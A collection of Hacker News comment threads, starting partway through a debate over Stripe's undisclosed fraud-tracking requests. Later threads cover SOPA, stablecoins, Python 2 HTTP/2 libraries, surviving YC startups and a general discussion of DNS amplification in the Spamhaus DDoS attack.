That said, the behavior is pretty subtle. They don't disclose it in the npm package or the JS documentation. Other API calls initiated by your app show up in your Stripe dashboard, but these ones don't appear anywhere. You can only discover them by inspecting HTTP traffic.

> _In "your" app! How do you not know all the side effects you dependencies > may have when before adding them? What else is going in that site, Michael?_

I'm having trouble understanding this. Assuming you're being sincere: I can't possibly know the side effects of every piece of code in my app. Assuming you're being sarcastic: I'm not sure what your point is. Since I don't 100% understand every dependency in my app, I have no grounds to be bothered when one of my dependencies does something that violates my expectations?

<comment><USER54> I love Stripe, but this type of feature should be made front and clear when installing it. Some people use Stripe for a very small part of a very large app. If it's an online store, then it's totally fine. If it's an app where 95% of the routes are supposed to be private then it's not ok. So I appreciate this post mtlynch.

</comment></comment></comment><comment><USER55> Honestly, this looks very very standard. Having processed millions of $$$ through Stripe, most of this brings very welcome insight and information that prevented a significant amount of fraud, though sadly not catching all of it.

The only way for that to get better is through more tracking.

At the end of the day, many are paying for Stripe to protect them and their business, but you can build it yourself, in which case it is a capital investment for you that likely will cost you more than the % charges you have on each transaction.

If you don't want that insight, agreed that it likely could be done through a flag, but your suggestion I'd say is likely ideal.

</comment><comment><USER56> Whats with these 'hit jobs' on tech firms coming up every now and then?

</comment><comment><USER57> I'm just waiting on Patrick Collison to respond to you and put you in your place!

</comment><comment><USER58> How about Visa and MasterCard? I would be more surprised where these profiles didn't exist.

</comment><comment><USER59> hairy internet troll here.

What's most interesting to me is that even an immortal software founder such as PC can find themselves in situations where their company has deeply rationalized actions that, to both the general and technically sophisticated public, appear to very plainly egregiously violate basic user privacy rights.

Venture Capital is a helluva drug.</comment>


I built a map, chart and news feed for COVID19 - <AUTHOR> https://virusoutbreak.wtf <comment><USER2> Hi, I also built a dashboard using MongoDB Atlas and MongoDB Charts. Here is my blog post about it: [https://www.mongodb.com/blog/post/tracking- coronavirus-news-...](https://www.mongodb.com/blog/post/tracking-coronavirus- news-with-mongodb-charts). You can find my data import script in my Github in the blog post. I also gave more details in a comment and another blog post in on the way around this topic. Feel free to use it to feed your MongoDB collection with fresh data :-).

</comment><comment><USER3> Nice. And appreciated!

</comment><comment><USER4> Excellent

<comment><AUTHOR> Thanks. I'm planning on adding more data. Just a prototype right now. I'm realizing client side fetch doesn't work so well for 3rd party feeds.

I am building the backend in Koa/node/mongodb</comment></comment>


Bring your half-baked idea to the Half-Bakery - <AUTHOR> http://www.halfbakery.com/ <comment><USER2> The best use for HalfBakery.com in my experience, is as Snopes for Ideas.

If someone guardedly shares their own half-baked idea over dinner (especially if they think they need to find a technical partner, investor, or get a patent), rather than give them a lecture about customer development, I tell them it sounds interesting and send them a link to Half-Bakery or <http://www.cambrianhouse.com/idea/>.

The hit rate is shockingly high. And even if they don't find their idea, they'll realize ideas are a dime a dozen and start focusing on how to validate whether their idea actually has legs.

edit: there->their

</comment><comment><USER3> A great site and I'm glad to see it's still going (although apparently it kind of died - and was revived - in 2004 <http://en.wikipedia.org/wiki/Halfbakery>)

I had several (ridiculous) ideas while I was an undergrad and I remember how pleased I was when I found other folks had posted similar ideas on Half- Bakery. In fact one idea actually did end up on supermarket shelves (albeit in a different form).

</comment><comment><USER4> You know you've been on the Internet too long when sites you visited a decade ago pop up here as news.

<comment><USER5> It's not news, HN has only ever been about 50% news, the other half are just interesting links.

Sure, i get annoyed every time the 500-mile email or more magic or some other classic story gets reposted, but that's what HN is about-- every time it's reposted, there are dozens of people that hadn't seen it before.

<comment><USER6> The cycle of life, or school as it may be. You have the freshmen, then come your sophomores, juniors, and seniors. Of course the freshmen are going to be immature. Yes, and the sophomores are going to be struggling to identify with something; new web fads. Juniors and seniors then become old people, "get off my lawn" type. But there is no real way to sort out the cruft. We are all in the same "class"(internet). I like to think of repost as re-education.

</comment></comment></comment><comment><USER7> I remember this site from the beginning of the Internet - nice to see it still going!

<comment><USER8> An excellent web site! I first came across it when the topic of my PhD thesis was noted as a half-baked idea! (<http://www.halfbakery.com/idea/gait_20recognition>).

<comment><USER7> If I remember correctly, the Chinese have a product that uses this. It's built into floor tiles.

</comment></comment></comment><comment><USER9> Signal to noise ratio makes these sites hard to take seriously or to put in any time to read through the submissions.

<comment><USER3> I don't think it's meant to be taken that seriously. Hence calling it 'Half- Baked'.

</comment></comment><comment><USER10> this is what I visit www.reddit.com/r/somebodymakethis for :)</comment>


Show HN: Bootstrap icons as Vue components - <AUTHOR> https://github.com/tommyip/bootstrap-icons-vue <comment><USER2> Why is this better than using the bootstrap icons from vue-bootstrap?

<comment><AUTHOR> Author here. This library is for people who are only using the icons without bootstrap. I know BootstrapVue can do this as well but I dislike pulling in a massive library just to use a few icons.

Plus this works with Vue 3.</comment></comment>


Looking inside Dropbox - Security whitepaper - <AUTHOR> http://freepythontips.wordpress.com/2013/08/30/looking-inside-dropbox-whitepaper/

<comment><AUTHOR> The writers of this whitepaper have definitely put a lot of effort. Dropbox needs to thing about it's program distribution strategy. Let's see what Dropbox decides.</comment>


Desktop guy (me) wrote a web app - Useful or bust ? (blog has screenshots) - <AUTHOR> https://app.teppefall.com/signup?code=TF07

<comment><USER2> I (think) I managed to get in by taking off the <https://>. Not sure if what I was looking at was the app you wanted critiqued as I didn't see any blog, but unfortunately it was pretty bust.

It sounds like Instapaper could handle it, and their sign up is the polar opposite of yours. I had to fill out a CAPTCHA and I'm still waiting for a verification email. Instapaper doesn't even ask me to make a password if I don't want to.

</comment><comment><USER3> i can't connect to or ping your web server so i guess it's a bust.</comment>


Indy Neidell has a new history YouTube channel - <AUTHOR> https://www.youtube.com/channel/UCLfMmOriSyPbd5JhHpnj4Ng <comment><AUTHOR> Indy Neidell, host of the excellent YouTube WW1 channel "The Great War", has begun a new history channel called "TimeGhost". It has inter-war history, they're going to do WWII, and more. Started just last month.</comment>


The author of SOPA is a copyright violator  - <AUTHOR> http://www.vice.com/read/lamar-smith-sopa-copyright-whoops This is too funny... <comment><USER2> This really goes to show just how easy it would be to be accused and shutdown as a copyright violator. In this case it was probably an issue of the web designer recklessly searching for a Texas-y background and Congressman Smith unknowingly using the copyrighted image. Sure, it's irresponsible, but it's an understandable mistake to make.

Enter sites with untold volumes of user-submitted content. To begin, it's unlikely that the site owner will be able to police the content due to the sheer scale of it. But what's worse is that if content (like this copyrighted image) _is_ found on the site, there is no immediately clear way to know if its use and publication is licensed or not. (I know this is basically a rehash of our old arguments.)

<comment><USER3> Think of the power a law that everyone breaks gives the government! They must love it.

Mostly the executive branch, but others too.

<comment><USER4> Everyone who has sung "Happy Birthday" is also a pirate. Yes, really.

<http://www.snopes.com/music/songs/birthday.asp>

<http://www.unhappybirthday.com/>

Sure, there's some evidence that they may have done some iffy things with the registration, but you'd have to go through an expensive trial to prove that, so good luck.

<comment><USER5> I wonder if that is the reason most big restaurant chains, like TGI Fridays, have their own version of a song for their crew to sing when someone has a birthday there.

<comment><USER4> Yes, it is.

Source: [http://interact.stltoday.com/forums/viewtopic.php?printertop...](http://interact.stltoday.com/forums/viewtopic.php?printertopic=1&t=841667&start=0&postdays=0&postorder=asc&vote=viewresult&sid=2c01b6580bfcd8ebc70d14fdc6455703)

EDIT: At first I thought Snopes said that, but I was wrong. Here's a different source saying the same thing.

</comment></comment></comment></comment></comment><comment><USER6> In my opinion, when Alexis Ohanian goes before Congress, this should be something that is brought up. Just yesterday (<http://hackerne.ws/item?id=3451934>) we saw how Congress doesn't understand why this law would be so difficult to enforce and how broad it really is. It's something that they can actually relate to, as I imagine they all have websites of their own and having them block within the United States would be catastrophic for their future election plans.

<comment><USER7> They'll just do the same thing they did with insider trading and other laws, they'll exempt themselves.

</comment></comment><comment><USER8> I think what's most interesting about this is it is a great indicator of the public perception of copyright. If even the creator of the harshest pro-greed- based-copyright legislation can't uphold the most modest of copyright provisions, I think that's a clear indicator that copyright is in need of reform in the opposite direction he proposes.

He himself can't respect the very laws he champions on his own public facing website.

</comment><comment><USER3> Which is worse: someone supporting SOPA because they know nothing about copyright or someone supporting SOPA because they know a lot about copyright?

</comment><comment><USER9> While it's possible that he authored his own political website, I would strongly suspect this is a proxy blame. I am all for blaming Lamar Smith as much as the next guy. My issue is assigning a state to an individual when another individual performed the state changing action. The furthest it is fair to place that assignment is shared with the entire group.

edit, apparently downvoting is the same as disagreeing here too. sigh. guess this teaches me to share my honest thoughts and to continue chasing integers.

<comment><USER2> I agree that it's unfair to accuse Congressman Smith of directly and maliciously using pirated content. However, the irony of the matter is that under his own proposed bill, the congressman's site would be blacklisted regardless. One reason SOPA is such a bad idea is because it does precisely what you take issue with by assigning the label 'copyright infringer' to the congressman without any due process.

<comment><USER10> Exactly, that this law is even discussed and brought to public attention is unthinkable.

With this law the accuser becomes the judge and the executioner. It's like the police shooting first, asking questions later. It's like silencing political opposition in the name of progress. It's like detaining prisoners indefinitely without trial ... oh wait!

</comment></comment></comment><comment><USER11> Great sleuthing. Now how do we get the bigger outlets to run with the story? This could cause some PR damage for the SOPA supporters.

</comment><comment> g-garron Nobody is free of sin. So, it is dangerous to permit an act like that.

</comment><comment><USER12> It's really easy to understand how something like this could happen. I'm sure it was a mistake by the web designer and not intentional however under SOPA he would be facing the same repercussions that everyone is worried about even though it was a _mistake_.

Prime example of why SOPA is so god awful.

When I was a teenager I participated in a program offered through 4H (4-h.org) every year where we would visit out State Capital and hold a mock legislative lesson over the corse of a week. Depending on what portion you had signed up for you might play the part of a Lobbyist, Legislator, Senator, Whip or even the Speaker of the House. We would have the actual representatives and lobbyists there to give presentations and offer advice while we argued bills on the floor and made our back room dealings that would decide what bills would be killed or passed (Our advisers were not very happy when one year we legalized prostitution! LOL).

You could think of it as sort of a YCombinator of politics.

Once you understand exactly how the system works you realize why it seems that so many of our representatives seem to be absolutely clueless as to what the bills they are proposing actually do or what implications they may have.

The general gist is this:

Lobbyist: This is what I'm proposing <Insert> overly simplified explanation of the proposed legislation similar to how you would explain the inner- workings/programming of a software to your grandmother </Insert>

Lobbyist: We have a draft of the bill ready it's important to your constituents because <Insert> Three Points: from overly simplified explanation</Insert> do I have your support on this issue?

Representative: Sure send the draft to my office and I'll look it over (70% never actually will)

Rince and repeat for each representative until it has enough support to make it through committee and to the floor.

Result: 70% of the representatives only have a paragraph explanation of what they are voting on. The other 30% are the ones who actually understand the bill and will either fight for or against it.

Bill passes even if it's BAD, BAD, BAD for the State or in the case of Washington, The Country.

</comment><comment><USER13> If someone manages to lookup the guys ip, then please do check out on <http://www.youhavedownloaded.com/>

</comment><comment><USER14> Is there any provision under SOPA with which we can somehow blacklist Lamar Smith's toupée?

<comment><USER15> _runs off to write her Representative_</comment></comment>


Could the US Dollar Be Crypto's Killer App? - <AUTHOR> https://www.buildblockchain.tech/newsletter/issues/no-90-could-the-us-dollar-be-cryptos-killer-app <comment><USER2> The killer app was supposed to be DAOs, ICOs, and decentralized finance/web 3.0. Instead we got another asset bubble. This is why we can't have nice things.

<comment><USER3> Back in the day of dial-up modems, people dreams of watching TV over the internet. Didn't work well with dial-up. As infrastructure spread, it happened (NetFlix).

Crypto going mainstream will happen. It will happen when debit cards to crypto accounts will pay merchants, and the merchants receive USD. AND when the rates are tiny.

</comment></comment><comment><USER4> Increasing the number of people using the dollar is at least a clear goal considering how often we inject it into countries and governments around the world. In 2020 you don't conquer with guns, you conquer by economic dependence.

<comment><USER5> To be fair, it always was a combination of both. Economic depndence is much safer so.

</comment></comment><comment><USER6> Arent stable coins just an appeal to central banks expansionary policy? Bitcoin was created as an alternative set of values and seems like cryptos killer app to me

<comment><USER7> Bitcoin was created to solve micro transactions. [https://bitcoin.org/bitcoin.pdf](https://bitcoin.org/bitcoin.pdf)

 _The cost of mediation increases transaction costs, limiting the minimum practical transaction size and cutting off the possibility for small casual transactions, and there is a broader cost in the loss of ability to make non- reversible payments for non- reversible services._

It's the community that pivoted to something else.

PS: Two different non reversible transactions sets up the two generals problem which bitcoin does not solve. [https://en.wikipedia.org/wiki/Two_Generals%27_Problem](https://en.wikipedia.org/wiki/Two_Generals%27_Problem)

<comment><USER8> The average bitcoin transaction cost was over $1.50 last month, and it can only handle a maximum of about 7 transactions a second. Why would bitcoin be good for small transaction?

[https://ycharts.com/indicators/bitcoin_average_transaction_f...](https://ycharts.com/indicators/bitcoin_average_transaction_fee)

<comment><USER7> The theory was bitcoin would have low overhead as the only limit was machine time which should be cheap. However, an artificial transaction limit was created which creates artificial scarcity and thus high transaction fees.

In theory a miner wants to have the highest number of profitable transactions possible, but we ended up with collusion to drive up prices and thus miner proffits.

<comment><USER8> I don't think the 7 transactions per second is artificial. In fact, I think it's the _technical_ maximum.

[https://en.m.wikipedia.org/wiki/Bitcoin_scalability_problem](https://en.m.wikipedia.org/wiki/Bitcoin_scalability_problem)

<comment><USER9> 1 MB was an arbitrary value chosen by Satoshi Nakamoto to fight off spam in 2010, in no way it's a technical limit on the Bitcoin network, it's completely artificial.

</comment></comment></comment></comment></comment></comment><comment><USER10> I have been wondering why the US doesn't make a trial crypto dollar. If it doesn't work out what is the cost? Relatively nothing. If it does work out? it would strengthen the USD position as the global settlements layer and give the US control over a new monetary domain.

For examples of this see LIBOR/"Eurodollar"

<comment><USER11> Why? What extra functionality does creating a cryptocurrency enable?

<comment><USER12> It's often forgotten that the only real benefit of blockchains is that they are distributed; one can implement all the same functionality using centralized databases.

What I find really surprising is that the government hasn't created a set of standardized APIs for financial transactions, flowing through traditional web/cloud/mobile tech. From a tax collection/enforcement perspective, it would seem to be in their interest to make "smart money" with convenient P2P digital transactions. Given the transparent corruption between Washington and banking institutions, I wonder if they don't want to risk being disinter-mediated, or if no politicians have even tried to pursue such a thing (the closest being Warren's plans to add banking services to USPS, which I think is a great idea).

<comment><USER11> I think blockchain fans consistently overstate the utility of distributed processing from the end users perspective. Any blockchain payment system I've seen was strictly inferior to existing mechanisms.

I don't really see why the govt. would need to create such a system; the private banking and consumer finance space has been doing an acceptable job so far.

<comment><USER12> While I favor "distributed all the things" from a political/ideological perspective, it indeed carries massive performance and utility tradeoffs, compared to centralized solutions, and is very difficult to sell to end users without a critical mass of adoption / network effects.

Moreover, as BTC mining consolidation demonstrates, it's certainly possible that distributed systems tend to devolve to quasi-centralized systems with extra steps (Exhibit B: GitHub massively dominating the "distributed" git ecosystem).

> the private banking and consumer finance space has been doing an acceptable > job so far

...really? Can I join you in your alternate universe? :) The fact that none of the consumer payment systems (PayPal/Venmo/etc) interoperate with one another is nothing short of embarrassing in 2020. Or the fact that ACH doesn't operate on weekends or holidays, as though all transactions were still processed by humans working M-F 9-5. And that's saying nothing of the missed opportunity for smart money / smart contracts to be baked into USD itself.

We don't need blockchains to upgrade money; just government mandates/incentives for standardized APIs to be implemented by banks and user- facing applications.

<comment><USER11> I've never really struggled to send money where necessary. The distributed nature of solution creation has created a quasi monopoly around Venmo (see what I did there?).

The unavailability of ACH on the weekends is less of a protocol problem and more of a habitual problem; bank transfers used to require people doing work by hand, and that habit remained.

I think smart contracts have proven themselves to be significantly less useful than originally anticipated.

</comment></comment></comment></comment></comment></comment><comment><USER13> At guess, "No"

[https://en.wikipedia.org/wiki/Betteridge%27s_law_of_headline...](https://en.wikipedia.org/wiki/Betteridge%27s_law_of_headlines)

after reading the article ... still "No".

<comment><USER14> Never heard of betteridge before, and was thinking the answer to headlines is normally yes...

The Wikipedia article you link to states a study of ~3000 articles where the most common answer is infact yes.

</comment></comment><comment><USER15> No, it couldn't. Unless the rest of the western world is ready to roll the dice on whether China and Russia want to expand their empires - they aren't moving away from the dollar.

I have no doubt after the Trump administration they are all taking a long, hard look at building up their military power to be self-sufficient, but those timelines are measured in decades, not months. Anyone who thinks that moving away from the dollar is a simple matter of currency is naive, delusional, or both.

<comment><USER16> The key point in the article is that crypto (not BTC, but stablecoins pegged against dollar, euro, and/or yen values) offers a way for people who normally have few ways to access dollars to get their hands on them. It's not about the dollar-using world moving to crypto---it's about the citizens in world that doesn't use a currency strong enough to print their way out of a market implosion moving to the dollar _via_ crypto.

<comment><USER15> But they aren't getting their hands on dollars, they're getting their hands on crypto claiming to be tied to the dollar. Tether did the same - until they didn't. You can't be tied to the dollar without backing your coin with dollars. You can't possibly back your coin with sufficient dollars without US government approval. You aren't getting approval without following the same regulations as any other bank, which is what made getting dollars difficult in the first place.

Which means the only alternative is attempting to supersede the dollar by pegging to it but not actually being backed by it. Which, again, will never happen.

<comment><USER17> Exactly. Not sure how one could write this article without _mentioning_ the risks of so-called stable coins. Quite simply, the huge existential risk is that the currency peg isn't maintained, for all sorts of reasons relating to trust, actual $ supply, regulation, centralization, politics, etc.

Simply proclaiming the stability of something doesn't guarantee it, or absolve one of tackling all the same problems of currencies in general. Else, a nation would simply call their own currencies "stable" and back them with $ reserves, which they already try to do.

Also, it is extremely stupid to say that a real-asset backed "crypto" somehow eliminates censorship. The "backing" is the only real item of value in this equation, and getting ones hands on that asset is of course vulnerable to censorship.</comment></comment></comment></comment>


Show HN: Asynchronous HTTP/2 client for Python 2.7 - <AUTHOR> https://github.com/vladmunteanu/th2c <comment><USER2> Qt has an event loop and async http library. I've used it from PyQt with great success.

<comment><AUTHOR> Does it support HTTP/2?

<comment><USER3> yep, apparently ([https://bugreports.qt.io/browse/QTBUG-50936](https://bugreports.qt.io/browse/QTBUG-50936))

</comment></comment></comment><comment><AUTHOR> Why Python 2 and not Python 3?

Short answer is: because Python 3 already benefits from a better, more complete client: aioh2 ([https://github.com/decentfox/aioh2](https://github.com/decentfox/aioh2)) that works with Python's asyncio.

th2c is mostly intended for Tornado backends, trying to keep a similar interface and compatibility with Request / Response objects.

It was initially developed in order to be able to communicate with APNS from a python 2.7 environment.

<comment><USER2> How does that compare to aiohttp? What are the benefits?

<comment><USER4> aio isn't available for py2. The benefit is that this is available for py2.

<comment><USER5> There is [https://github.com/vstinner/trollius](https://github.com/vstinner/trollius) for vanilla Python2.

<comment><AUTHOR> trollius is no longer maintained

<comment><USER5> It's still a reasonable starting place for anyone wanting asyncio on vanilla Python2. Outside of vanilla Python2, Tauthon also has some tracking issues for the language extensions and libraries needed for a backport of asyncio to Tauthon.[0]

[0]: [https://github.com/naftaliharris/tauthon/issues/10](https://github.com/naftaliharris/tauthon/issues/10)

</comment></comment></comment></comment></comment></comment><comment><USER6> I'm of the opinion that one should only maintain python2 projects not actively develop and expand them. If your project needed http2 then it should be ported to python3.

Edit: would using python3 in a container make sense where the distribution only ships legacy python?

<comment><USER7> The current version of Redhat - RHEL 7 - which most banks, large enterprises etc. are using comes with a system python version of 2.7.5 and you need to jump through hoops to install Python 3.x ( e.g. [https://stackoverflow.com/questions/8087184/problems- install...](https://stackoverflow.com/questions/8087184/problems-installing- python3-on-rhel) ), which may not even be possible if you're in an environment where security is tightly controlled.

There is the possibility of Python 3.x being default in RHEL 8 ( [https://fedoraproject.org/wiki/Changes/Python_3_as_Default](https://fedoraproject.org/wiki/Changes/Python_3_as_Default) ) but right now RHEL 8 isn't released and there's no date for it being released. And even once it is released, it will be more years before big enterprises really start switching

TLDR ignore python 2.7 and alienate RHEL customers

<comment><USER8> >you need to jump through hoops to install Python 3.x

What? You can install Python 3.6 from EPEL[1], takes 5 seconds.

[1] [https://fedoraproject.org/wiki/EPEL](https://fedoraproject.org/wiki/EPEL)

<comment><USER9> Then you have to use scl, which kind of sucks. Better to just install the fedora packages. Or compile it yourself (but you should really package it if you're deploying it on a lot of servers)

</comment></comment></comment></comment><comment> yoz-y Any specific reason to develop this for Python 2 rather than Python 3?

<comment><USER10> There's still a lot of existing and new Python 2 code being written. Idealistically we would all be on Python 3, but software is a messy land.

<comment><USER11> It's been ten years, so it's gone beyond "idealistically".

<comment><USER12> Still not distributed by default on Mac or Ubuntu long term release, unlike 2.

<comment><USER13> The current Ubuntu long-term support release is Xenial, which comes with _only_ Python 3 installed. If you're talking about Trusty, its support is ending fairly soon.

On Xenial, you have to separately install an optional package for Python 2. When you try to run /usr/bin/python on a fresh Xenial install, it'll tell you that you need to install a package such as python-minimal==2.7.11, whereas /usr/bin/python3 is already there.

<comment><USER12> Woops, my LTS is obviously out of date. Thanks.

</comment></comment></comment></comment></comment></comment><comment><USER14> Its name made me think of THC.

I'll ask the obvious question: why not Python 3?

<comment><AUTHOR> Well, Python 3 already has a similar library that deals with this stuff, such as [https://github.com/decentfox/aioh2](https://github.com/decentfox/aioh2).

Also, this is mostly intended for Tornado backends, offering compatibility with Tornado's request / response objects.

<comment><USER15> Are people really still so closely wedded to Python 2 that they find it easier to reimplement all the features they need from Python 3 in the former, instead of switching to the latter?

<comment><USER16> yes.

I had a coworker who was against moving to python3(and kept on writing python2 code for a while) because you need to use brackets with python3 print statement.</comment></comment></comment></comment>


Ruby: Lotus v0.2.0 is out – Code generators and a lot of new features - <AUTHOR> http://lucaguidi.com/2014/12/23/2014-retrospective-a-year-of-lotus.html

<comment><USER2> I really like how lotus/model isolate persistence and biz logic layer. Plus it is not inheritance of a class like ActiveRecord :+1:. Besides, the modular application architecture is interesting too, though I face a problem with the routing, it seems to me if you have multiple apps, the routes of all apps are not flatten altogther thus the namespace of one 'child' app does not take effect. Thought?

</comment><comment><USER3> Lotus is an amazing piece of software. It really brings new perspective for Ruby web development. And the code is so easy to read. Congrats Luca on the new release.</comment>


Which Y Combinator backed companies are still alive? - <AUTHOR>

<comment><USER2> You can see the list here: <http://en.wikipedia.org/wiki/Y_Combinator>

You'll be interested in the "Status" column.

<comment><USER3> The list needs maintenance though

</comment></comment><comment><USER4> Can anyone confirm that TextPayMe was acquired by Amazon? I wonder if this is the YC acquisition that they still cant talk about. That would have been over a year ago..

<http://textpayme.amazon.com>

<comment><USER5> I suppose the URL is proof enough that Amazon acquired them. There's a note as well that points to 10/2/07 and links to <http://legacy.textpayme.com>.

<comment><USER4> Is it standard practice for publically traded companies to keep acquisitions secret? I know price does not need to be disclosed if it does not have any real effect on shareholders, but keeping an acquisition secret all together just doesn't seem right to me.

</comment></comment></comment><comment><USER6> I think I can pretty reliably say that Fuzzwich is still chugging along

There are quite a few more alive that I personally know about, but I will leave it to them if they are interested in divulging their status.

</comment><comment><AUTHOR> ok looks like i got quite a few(in fact nearly all) things wrong there..

@socmoth: ya i no the list aint accurate and highly pessimistic but was just tryin to get an idea of whos around and whos not.. and some sort of data to discuss wld be better than none at all so..

Once again no offense meant to any hus very much alive and kicking.. and i see that all those under my doubtfuls list are also very much alive.. heartening to know. the updated list looks thus:

Alive: Weebly, Virtualmin, Jamglue, Scribd, Pairwise, auctomatic(blog returns error but they'r brand new so..), Bountii(again no blog but new), draftmix(no blog), fuzzwich, anywhere.fm, Xobni, i'm in like with you, Justin.tv,Versionate, Octopart, Buxfer, adpinion, Socialmoth, Heysan.

well only the follwing companies remain in the dark now: Thinkature(Dec 2006), Shoutfit(site doesnt even load!), Flagr(Dec 2006).

No1s commented on their status..

</comment><comment><AUTHOR> ok my criteria for whether they are alive or not is to whether they have updated their blog in the last month at the least or not..

Alive: Weebly, Virtualmin, Jamglue, Scribd, Pairwise, auctomatic(blog returns error but they'r brand new so..), Bountii(again no blog but new), draftmix(no blog), fuzzwich(no blog but new), anywhere.fm, Xobni, i'm in like with you, Justin.tv,

Dead: Thinkature(Dec 2006), Shoutfit(site doesnt even load!), Flagr(Dec 2006), Versionate(July 2007.. just 4 posts and then mysterious disappearance without a word), Octopart(oct 2007), Buxfer(oct 2007) [if u guys are still around please dont chase me down with a hacksaw or smthn..]

can't say: adpinion(in beta but if i remember right they'v been round quite long and have no blog so... no offense guys if ur workin ur asses off...), Socialmoth, Heysan(tho i think they are alive),

<comment><USER7> I think loopt might be alive too, but hanging by a thread. I remember pg saying on many occasions that loopt is yc's least successful company. Probably not worth mentioning, though. Please check sarcasm meters prior to downvoting.

<comment><USER8> This was posted _yesterday_ :

[http://www.techcrunch.com/2007/11/15/loopt-may-be- friending-...](http://www.techcrunch.com/2007/11/15/loopt-may-be-friending- more-mobile-networks/)

They seem to be doing pretty well.

<comment><USER9> Looks like they're very well positioned to take advantage of Android.

</comment></comment></comment></comment><comment><USER10> Look at that...these guys finally got a web site:

<http://tsumobi.com/>

They're particularly interesting to me because what they set out to do was very similar to Hecl, my mobile phone programming language.

</comment><comment><USER11> we're still rockin (dropbox)

<comment><USER12> and well!</comment></comment>


Spamhaus DDOS Suspect Arrested - <AUTHOR> http://www.informationweek.com/security/attacks/spamhaus-ddos-suspect-arrested/240153788

<comment><USER2> That's nice but what do start-ups and other less famous organizations do?

Any competitor can buy a 30+ gbps attack for a few dollars.

[http://hackforums.net/forumdisplay.php?fid=232](http://hackforums.net/forumdisplay.php?fid=232)

And it costs $2000/month just for 20 gbps of protection.

[https://www.staminus.net/ddos-protection](https://www.staminus.net/ddos- protection) [https://ordering.blacklotus.net/cart.php?pid=10](https://ordering.blacklotus.net/cart.php?pid=10)

DDoS attacks are going to get larger and more frequent.

<comment><USER3> I wager it's pretty rare for the following conditions to exist simultaneously:

        - Small enough that $2k a month is a serious spend.
        - Big enough to draw the attention of someone who cares to DDoS you.
        - Important enough to one's customers that a few hours of downtime
          is a serious issue.

If you somehow cause all three to exist at once, either you're going out of your way to piss off the wrong people, or you're not charging enough.

(Also, there's always the option to roll your own DDoS protection. It's complicated, but not super complicated, at least for a 90% solution. If I'm not mistaken, it basically involves detecting anomalous traffic and telling upstream routers that you don't exist for the source IP generating that traffic. Someone who knows more about it might be able to fill in some details.)

<comment><USER2> $2k is just the beginning. If you looked at the forum I just posted, attacks can go up to 60 gbps and still only cost a couple of dollars.

This can easily cost as much as a full time employee, and many large sites can be run by 1-2 people. Having to spend 33% more just to stay online is not negligible.

You can't just roll your own DDoS protection. If you do this you are looking at rolling your own data centers. Once an attack gets bigger than the port at one of your standard hosts, your host is going to null route you and even kick you off if it happens too often.

You are going to be hard pressed to find a host that is willing to broadcast your /24, let alone getting a /24 with this IP shortage if you were going to do your own cloudflare.

 _" If I'm not mistaken, it basically involves detecting anomalous traffic and telling upstream routers that you don't exist for the source IP generating that traffic."_

This is called null routing. It involves telling your upstream that the IP can't be routed to. This blocks ALL traffic to that IP so your port doesn't get maxed. Large transit providers are going to charge you an arm and a leg to give you an API to insert ACLs because routers have a limited number of rules.

<comment><USER4> > Large transit providers are going to charge you an arm and a leg to give you > an API to insert ACLs because routers have a limited number of rules.

It's been my experience that pretty much every transit provider supports this (and at no extra cost). All of my transit providers do.

I offer RTBH'ing (by tagging /32s with a specific community) to my customers because I can propagate those to my upstreams in order stop them from sending the traffic to me. Those providers would rather drop 10 Gbps of DDoS traffic at the edge than to worry about an extra entry in routing table.

<comment><USER2> He is talking about ACLs, not RTBH.

</comment></comment></comment></comment></comment><comment><USER5> Blink:

"Spanish police said that upon his arrest, the suspect identified himself as a diplomat, saying he was the Minister of Telecommunications and Foreign Affairs for the Republic of Cyberbunker."

I think from monday, at work, I will identify myself as a diplomat, the "Minister of Telecommunications and Foreign Affairs of the Republic of the Local Domain". Sounds nice.

</comment><comment><USER6> [April 29, 2013]

Previous submissions about this around that time:

[https://news.ycombinator.com/item?id=5614179](https://news.ycombinator.com/item?id=5614179)

[https://news.ycombinator.com/item?id=5613891](https://news.ycombinator.com/item?id=5613891)

</comment><comment><USER7> Why is there an article from 4 months ago on the frontpage?

</comment><comment> Core-TX Spamhaus does not only build the Autobahn, but also enforces American definitions and trade policy whenever disputes arise.

</comment><comment><AUTHOR> In case you're unaware of what Spamhaus is, its severity as a DDOS, and the ongoing investigation into its operations, read here:

[http://arstechnica.com/security/2013/03/spamhaus-ddos- grows-...](http://arstechnica.com/security/2013/03/spamhaus-ddos-grows-to- internet-threatening-size/)

<comment><USER8> I think it's a marvelous feat of engineering that people were able to prevent Spamhaus from being knocked offline by that massive DDoS.

[http://arstechnica.com/security/2013/03/how-whitehats- stoppe...](http://arstechnica.com/security/2013/03/how-whitehats-stopped-the- ddos-attack-that-knocked-spamhaus-offline/)

<comment><USER2> Anycast isn't difficult to implement and is widely used to create CDNs. It is simply costly. You need to buy a large block of IPs and have multiple data centers.

After you have that, it is trivial to block all DNS packets, especially due to the fact that Cloudflare doesn't need to receive DNS packets on their public endpoints because they only serve HTTP traffic.

<comment><USER8> Hmm, is it very hard to DDoS DNS servers? I'm a bit confused about the DNS part of what you said.

<comment><USER2> Not to be rude but if you don't understand what I just said, you might want to re-read the article you just cited.

<comment><USER8> You are being rude, but I care about learning more than rudeness, so if you'll kindly help me out:

 _But DNS servers can also be queried for the IP addresses of huge swaths of the Internet, putting the person listed as making the request on the receiving end of a massive response. In a blog post published Wednesday, CloudFlare CEO Matthew Prince said each DNS request sent by the Spamhaus attackers was likely only 36 bytes long, while each response was about 3,000 bytes. By spoofing the requests to make them appear as if they originated with Spamhaus, the attackers can turn the firepower of all those networks against their opponent, all but guaranteeing it won 't be available to process legitimate traffic._

I'm still not really getting it. Which IP addresses are they referring to when they say "huge swaths of the internet"?

 _To get Spamhaus back online, CloudFlare relied on Anycast, a routing technique that distributes the same IP address across 23 data centers across the world. Internet traffic almost always chooses the shortest physical path. Anycast allows the geographically dispersed junk traffic to be absorbed by dozens of individual centers, where each packet is then inspected. When it bears signatures found in the attack traffic—for example, if it 's a 3,000-byte response from an open DNS resolver—it is discarded in the CloudFlare data center. Only Legitimate Web requests are allowed to be forwarded to the Spamhaus data center._

How do they differentiate between a legit query and a DDoS query?

<comment><USER9> _I 'm still not really getting it. Which IP addresses are they referring to when they say "huge swaths of the internet"?_

Most IP addresses... most notably including the victim's IP address. Scenario: Attacker sends 36 byte DNS query with a falsified sender address (that of his victim) to, say, Google's DNS servers. If the origin isn't verified through something like IPsec, Google won't be able to tell that the sender was forged. Google then sends 3000 bytes to the victim, thinking they're simply replying to a request, whereas they're really (unknowingly) facilitating a DNS amplification attack (so called because the attacker turns e.g. 2Gb/s of botnet traffic to DNS servers into 200Gb/s of DNS responses to the victim.)

